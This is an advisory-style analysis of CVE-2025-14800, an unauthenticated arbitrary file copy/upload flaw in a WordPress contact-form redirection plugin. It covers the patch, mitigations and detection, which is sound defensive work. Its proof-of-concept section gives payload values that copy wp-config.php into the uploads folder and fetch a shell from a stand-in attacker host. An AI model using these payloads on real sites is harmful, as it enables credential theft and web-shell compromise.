CVE-2025-14800 Exploit & Vulnerability Analysis

1. Vulnerability Background

What is this vulnerability?

• CVE-2025-14800 affects the Redirection for Contact Form 7 WordPress plugin.
• The vulnerability exists in classes/class-wpcf7r-save-files.php, specifically in the move_file_to_upload() function.
• The function accepted a user-controllable $file_path without validating file type or checking for URI schemes prior to performing filesystem operations.

Why is it critical/important?

• Arbitrary file upload or arbitrary file copy in a web-facing WordPress plugin is high-risk.
• An attacker can use the vulnerable path to place files on the server, potentially including executable PHP payloads.
• If allow_url_fopen is enabled, the attacker can also source files from remote locations, turning the issue from local file write to remote file upload.
• The vulnerability is exploitable without authentication, increasing the attack surface.

What systems/versions are affected?

• All versions of Redirection for Contact Form 7 up to and including 3.2.7.
• The patched code was introduced after 3.2.7 in classes/class-wpcf7r-save-files.php.

2. Technical Details

Root cause analysis

• The vulnerable function move_file_to_upload( $file_path ) begins by initializing the WordPress filesystem and then proceeds to move or copy the provided path.
• There was no validation of $file_path before this operation.
• This means arbitrary paths, including remote URIs or files with dangerous extensions, could be processed.

Attack vector and exploitation conditions

• The attacker needs to reach the code path that invokes move_file_to_upload().
• The vulnerability is likely exposed through the plugin’s file save/redirect workflow.
• Exploitation can take two forms:
  1. Local file copy: if the attacker supplies a local filesystem path, the plugin may copy a sensitive server file into a web-accessible upload directory.
  2. Remote file upload: if allow_url_fopen is enabled, supplying a remote URI such as http://attacker.example/shell.php can cause the server to fetch and save that remote file.
• The key missing protections were:
  • file type validation
  • rejection of protocol wrappers (http://, https://, php://, etc.)

Security implications

• Successful exploitation can lead to:
  • arbitrary file write
  • local file disclosure
  • remote file retrieval
  • web shell upload and remote code execution
• An attacker could use this as a pivot to compromise the WordPress site or the hosting environment.

3. Patch Analysis

What code changes were made?

• The patch adds validation at the start of move_file_to_upload():

  • wp_check_filetype( $file_path ) is used to determine if the filename has an allowed extension/type.
  • A regex check rejects any path containing a protocol scheme at the beginning: #^[a-zA-Z0-9+.-]+://#.
  • If validation fails, execution is terminated with an error message.

• Additionally, a new helper method init_index_file() was introduced later in the file to create an index.php in upload directories.

How do these changes fix the vulnerability?

• By validating the file type before any filesystem operation, the patch blocks inputs that do not correspond to allowed file extensions.
• By rejecting paths that begin with a URI scheme, the patch prevents remote protocol wrapper exploitation when allow_url_fopen is enabled.
• The combination reduces the attack surface for both arbitrary upload and remote file fetch attacks.

Security improvements introduced

• Explicit file type validation before moving files.
• Protection against protocol-based URI schemes in file paths.
• Defensive hardening of upload directories via init_index_file(), which helps prevent directory listing attacks and unauthorized browsing of upload folders.

Notes

• The fix addresses the reported weakness in file type validation and protocol handling.
• Secure file handling should also include path normalization and stricter path-whitelisting; the patch is a necessary improvement but should be part of a broader validation strategy.

4. Proof of Concept (PoC) Guide

Prerequisites for exploitation

• Target is running Redirection for Contact Form 7 version 3.2.7 or earlier.
• The plugin endpoint or submission handler invoking move_file_to_upload() must be reachable.
• For remote file upload, allow_url_fopen must be enabled on PHP.

Step-by-step exploitation approach

1. Identify the vulnerable request path in the plugin. This is typically the endpoint used by the plugin to save uploaded files or process redirects.
2. Craft a request that supplies an attacker-controlled file path to the plugin.
   • Local file copy example: file_path=/var/www/html/wp-config.php
   • Remote file upload example: file_path=http://attacker.example/shell.php
3. Send the request to the plugin endpoint.
4. Verify whether the file was copied into the WordPress upload directory or otherwise saved to the server.

Expected behavior vs exploited behavior

• Expected behavior after a secure fix:
  • Plugin rejects file paths with unsupported extensions.
  • Plugin rejects file paths that begin with URI schemes.
  • No arbitrary files are written into upload directories.
• Exploited behavior on vulnerable versions:
  • Plugin accepts arbitrary $file_path.
  • Files are copied from local paths or remote URLs.
  • An attacker can save unexpected files into the site’s uploads area.

How to verify the vulnerability exists

• Confirm the plugin version is 3.2.7 or earlier.
• Trigger the file save logic with a file_path payload.
• Check the uploads directory for the newly written file.
• If a remote file payload is used, verify the contents come from the attacker-controlled source.
• Review web server logs for suspicious requests containing file_path or protocol-wrapped URIs.

5. Recommendations

Mitigation strategies

• Upgrade the plugin to the patched version immediately.
• If an upgrade is not immediately possible:
  • disable the plugin
  • restrict access to the plugin endpoints
  • set allow_url_fopen to Off in PHP configuration
• Monitor upload directories for unexpected files, especially executable extensions.

Detection methods

• Log and alert on requests containing suspicious parameters such as file_path with remote URIs.
• Detect attempts to use protocol wrappers like http://, https://, php://, file://.
• Scan the uploads directory for unexpected PHP files or other executable content.
• Use file integrity monitoring on plugin files and upload directories.

Best practices to prevent similar issues

• Validate all user-supplied file paths before filesystem operations.
• Use WordPress helpers such as wp_check_filetype_and_ext() where appropriate.
• Reject protocol wrappers explicitly.
• Avoid using user-controlled paths directly in file copy/move operations.
• Store uploaded content in directories with restricted execution permissions.
• Add defensive controls like index.php placeholders in upload folders to reduce directory browsing risk.